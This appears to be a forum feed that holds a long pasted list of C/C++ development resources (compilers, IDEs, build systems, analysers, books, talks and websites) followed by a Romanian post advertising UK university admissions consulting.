ub-canaries - A collection of C/C++ programs that try to get compilers to exploit undefined behavior. value-category-cheatsheet A PDF cheatsheet for lvalues, rvalues, and the like. [Jank copyleft] VarTypes - A feature-rich, object-oriented framework for managing variables in C++ / Qt4. [LGPL] ZBar - A barcode scanner library, which allows to scan photos/images/video streams for barcodes and return their value. [LGPL2] ZXing - An open-source, multi-format 1D/2D barcode image processing library implemented in Java, with ports to other languages. [Apache] Software Software for creating a development environment. Compiler List of C or C++ compilers 8cc - A Small C Compiler. c - Compile and execute C "scripts" in one go! [MIT] Clang - A C compiler for LLVM. Supports C++11/14/1z C11. Developed by LLVM Team. [NCSA] GCC - GNU Compiler Collection. Supports C++11/14/1z C11 and OpenMP. [GNU GPL3] PCC - A very old C compiler. Supports C99. Intel C++ Compiler - Developed by Intel. LLVM - Collection of modular and reusable compiler and toolchain technologies. Microsoft Visual C++ - MSVC, developed by Microsoft. Open WatCom - Watcom C, C++, and Fortran cross compilers and tools. [Sybase Open Watcom Public License] Oracle Solaris Studio - C, C++ and Fortran compiler for SPARC and x86. Supports C++11. Available on Linux and Solaris. [OTN Developer License] TCC - Tiny C Compiler. [LGPL] Online Compiler List of online C or C++ compilers codepad - An online compiler/interpreter, and a simple collaboration tool. coliru - Online compiler/shell with support for various C++ compilers. Compiler Explorer - An interactive compiler with assembly output available. CompileOnline - Compile and Execute C++ online on Linux. Ideone - An online compiler and debugging tool which allows you to compile source code and execute it online in more than 60 programming languages. repl.it - A powerful yet simple tools and platforms for educators, learners, and developers. Rextester - Online compiler which provides several compilers(Clang, GCC, MSVC) and several editors. Rise4Fun - Online Visual C++ compiler. Try It Online - TIO is a family of online interpreters for an evergrowing list of practical and recreational programming languages. Wandbox - An online Clang/GCC compiler with Boost available. Debugger List of C or C++ debuggers Comparison of debuggers - A list of Debuggers from Wikipedia. GDB - GNU Debugger. LLDB - The LLDB Debugger. Metashell - An interactive template metaprogramming shell which includes the MDB metadebugger. Valgrind - A tool for memory debugging, memory leak detection, and profiling. x64dbg - An open-source x64/x32 debugger for windows. Integrated Development Environment List of C or C++ nominal IDEs. Anjuta DevStudio - The GNOME IDE. [GPL3] AppCode - an IDE for Objective-C, C, C++, and JavaScript development built on JetBrains’ IntelliJ IDEA platform. Cevelop - Cross-platform C and C++ IDE based on Eclipse CDT with additional plug-ins. CLion - Cross-platform C and C++ IDE from JetBrains. Code::Blocks - A free C, C++ and Fortran IDE. CodeLite - Another cross-plaform, free C and C++ IDE. [GPL2 with an exception for plugins] color_coded - A vim plugin for libclang-based highlighting. [MIT] Dev-C++ - A portable C/C++/C++11 IDE. Eclipse CDT - A fully functional C and C++ IDE based on the Eclipse platform. Geany - Small, fast, cross-platform IDE. [GPL] IBM VisualAge - A family of computer integrated development environments from IBM. Irony-mode - A C/C++ minor mode for Emacs powered by libclang. juCi++ - Cross-platform, lightweight C++ IDE with libclang integration. [MIT] KDevelop - A free, open source IDE. Microsoft Visual Studio - An IDE from Microsoft. NetBeans - An IDE for developing primarily with Java, but also with other languages, in particular PHP, C/C++, and HTML5. Qt Creator - A cross-platform C++, JavaScript and QML IDE which is part of the SDK for Qt. rtags - A c/c++ client/server indexer with for integration with emacs based on clang. Xcode - Developed by Apple. YouCompleteMe - YouCompleteMe is a fast, as-you-type, fuzzy-search code completion engine for Vim. cquery - A C++ code completion engine for vscode, emacs, vim, etc. Build Systems Bazel - A multi-language, fast and scalable build system from Google. [Apache] Bear - A tool to generate compilation database for clang tooling. [GPLv3] clib - Package manager for the C programming language. [MIT] CMake - Cross-platform free and open-source software for managing the build process of software using a compiler-independent method. [BSD] C++ Archive Network - Cross-platform C++ Dependency Manager with a lot of packages available. Cget - Cmake package retrieval. [Boost] website Conan - C/C++ Package Manager, open sourced. [MIT] CPM - A C++ Package Manager based on CMake and Git. FASTBuild - High performance, open-source build system supporting highly scalable compilation, caching and network distribution. Hunter - CMake driven cross-platform package manager for C++. [BSD-2] MesonBuild - An open source build system meant to be both extremely fast, and, even more importantly, as user friendly as possible. Ninja - A small build system with a focus on speed. Scons - A software construction tool configured with a Python script. Sconsolidator - Scons build system integration for Eclipse CDT. Spack - A flexible package manager that supports multiple versions, configurations, platforms, and compilers. [Apache-2.0/MIT] tundra - High-performance code build system designed to give the best possible incremental build times even for very large software projects. tup - File-based build system that monitors in the background for changed files. Premake - A tool configured with a Lua script to generate project files for Visual Studio, GNU Make, Xcode, Code::Blocks, and more across Windows, Mac OS X, and Linux. Vcpkg - VC++ Packaging Tool for Windows. waf - Python-based framework for configuring, compiling and installing applications. [BSD] website XMake - A C/C++ cross-platform build utility based on Lua. [Apache] Static Code Analysis List of tools for improving quality and reducing defects by code analysis Cppcheck - A tool for static C/C++ code analysis. - source CppDepend - Simplifies managing a complex C/C++ code base by analyzing and visualizing code dependencies, by defining design rules, by doing impact analysis, and comparing different versions of the code. cpplint - A C++ style checker following Google's C++ style guide. PVS-Studio - A tool for bug detection in the source code of programs, written in C, C++ and C#. cpp-dependencies - Tool to check C++ #include dependencies (dependency graphs created in .dot format). [Apache] include-what-you-use - A tool for use with clang to analyze includes in C and C++ source files. website Infer - A static analyzer for Java, C and Objective-C. [BSD] OCLint - A static source code analysis tool to improve quality and reduce defects for C, C++ and Objective-C. - source Clang Static Analyzer - A source code analysis tool that finds bugs in C, C++, and Objective-C programs. Linticator - Eclipse CDT integration of Pc-/FlexeLint. List of tools for static code analysis - A list of tools for static code analysis from Wikipedia. Coding Style Tools Artistic Style - A tool to format C/C++/C#/Obj-C/Java code. Also known as astyle. ClangFormat - A tool to format C/C++/Obj-C code. Clang-Tidy - Clang-based C++ linter tool. Uncrustify - Code beautifier. Resources Various resources, such as books, websites, and articles for improving your C++ development skills and knowledge. API Design Beautiful Native Libraries Designing Qt-Style C++ APIs Articles Fantastic C++ related articles. CppCon 2018 Presentation Materials - CppCon 2018 Presentation Materials. CppCon 2017 Presentation Materials - CppCon 2017 Presentation Materials. CppCon 2016 Presentation Materials - CppCon 2016 Presentation Materials. CppCon 2015 Presentation Materials - CppCon 2015 Presentation Materials. CppCon 2014 Presentation Materials - CppCon 2014 Presentation Materials. C++Now 2018 Presentations - Presentation materials presented at C++Now 2018. C++Now 2017 Presentations - Presentation materials presented at C++Now 2017. C++Now 2016 Presentations - Presentation materials presented at C++Now 2016. C++Now 2015 Presentations - Presentation materials presented at C++Now 2015. C++Now 2014 Presentations - Presentation materials presented at C++Now 2014. C++Now 2013 Presentations - Presentation materials presented at C++Now 2013. C++Now 2012 Presentations - Presentation materials presented at C++Now 2012. Books Fantastic C or C++ related books. List of Free C or C++ Books Free C Books - vhf/free-programming-books/C. Free C++ Books - vhf/free-programming-books/C++. cppbestpractices - Collaborative Collection of C++ Best Practices. Coding Style C++ Core Guidelines - "Official" set of C++ guidelines, reviewed by the author of C++. C++ Dos and Don'ts - The Chromium Projects > For Developers > Coding Style > C++ Dos and Don'ts. google-styleguide - Style guides for Google-originated open-source projects. Google C++ Style Guide GNU Coding Standard Linux kernel coding style LLVM Coding Standards Podcasts CppCast - The first podcast by C++ developers for C++ developers. Talks CppCon Talks - The C++ conference. Quick game development with C++11/C++14 - CppCon 2014 talk by Vittorio Romeo. Presentation on Hana for C++Now 2015 Videos Fantastic C or C++ related videos. List of C or C++ YouTube Videos Awesome C Programming Tutorials in Hi Def [HD] - A collection of detailed C Programming Language Tutorials for Beginners and New Programmers. C++ - by VoidRealms. C++ Qt Programming - by VoidRealms. C++ Programming Tutorials Playlist - TheNewBoston Official Buckys C++ Programming Tutorials Playlist. C++ Programming Tutorials from thenewboston - These are all of thenewboston's C++ programming tutorials. C++ GUI with Qt Playlist - Official Playlist for thenewboston C++ GUI with Qt tutorials. C Programming Tutorials - All of TheNewBoston's C programming tutorials are right here. Bo Qian's playlist - Boost Library, C++ Standard Library, Modern C++, Advanced C++, Advanced STL, ... Websites Useful C or C++ related websites. Standard C++ - News, Status & Discussion about Standard C++. CppCon - The C++ Conference. C++ reference - C++98, C++03, C++11, C++14 reference. cplusplus.com - The C++ Resources Network. C FAQ - C frequently asked questions. C++ FAQ - C++ frequently asked questions. C++ FQA Lite - C++ frequently questioned answers. Guru of the Week - A regular series of C++ programming problems created and written by Herb Sutter. Meeting C++ C++ Quiz - C++ quiz in which you propose to find errors in code fragments of open source projects. Udemy C++ Courses and Tutorials C++ Hints - Every business day hints about most often C++ mistakes and ways to solve them from PVS-Studio Team. C++ tutorial - A user ranked online tutorial bank site displaying multiple courses to learn C++ from. Weblogs Useful C or C++ related weblogs. Coding For Speed - Coding For Speed DOT COM, Less Execution Time. Eric Niebler Sticky Bits Paul Fultz II's Blog ridiculousfish - Will It Optimize? Embedded in Academia Other Awesome Projects Collection of useful codes, snippets, ... algorithms - Algorithms & Data Structures in C++. c-algorithms - C algorithms library. C++ Awesome Pack - Contains some awesome c++ codes, packed in one. Other Awesome Lists Other amazingly awesome lists lists - List of (awesome) lists curated on GitHub. awesome-awesomeness - A curated list of awesome awesomeness. awesome - A curated list of awesome lists. C++ links - A categorized list of C++ resources. Awesome C++ - getAwesomeness()'s mirror. Awesome C++ - LibHunt's mirror. Awesome C 1 Awesome C 2 AwesomePerfCpp - A curated list of awesome C/C++ performance optimization resources. free-programming-books - List of Freely Available Programming Books. Inqlude - The Qt library archive. papers-we-love - Papers from the computer science community to read and discuss. awesome-algorithms - A curated list of awesome places to learn and/or practice algorithms. awesome-talks - A lot of screencasts, recordings of user group gatherings and conference talks. Projects - A list of practical projects that anyone can solve in any programming language. Awesome interview questions - A list of lists of interview questions for the most popular technologies, including C and C++. nothings/singlefilelibs - List of single-file C/C++ libraries.
    1 point
  10. Pentru cei interesati sa studieze in Marea Britanie. Noi suntem Unistudy si oferim consiliere si asistenta pentru admiterea la institutii de invatamant superior din Marea Britanie, asta inseamna undergrad, master sau chiar PhD. Suntem parteneri cu peste o suta de universitati din UK si stim ce cauta acestea intr-un aplicant; de aceea va invitam sa apelati cu incredere la noi pentru orice informatii sau indrumare referitoare la aplicatiile UCAS, redactarea scrisorii de intentie si/sau pregatirea pentru interviu. Fireste, putem oferi consiliere personalizata si celor ambitiosi care si-ar dori sa aplice la medicina sau la alte cursuri al grupului universitatilor de top din Marea Britanie. De asemenea daca ati dori sa aflati mai multe informatii despre brexit sau despre noi si serviciile pe care le oferim nu ezitati sa ne contactati aici, pe siteul nostru sau pe pagina noastra de Facebook.
    -2 points
×
×
  • Create New...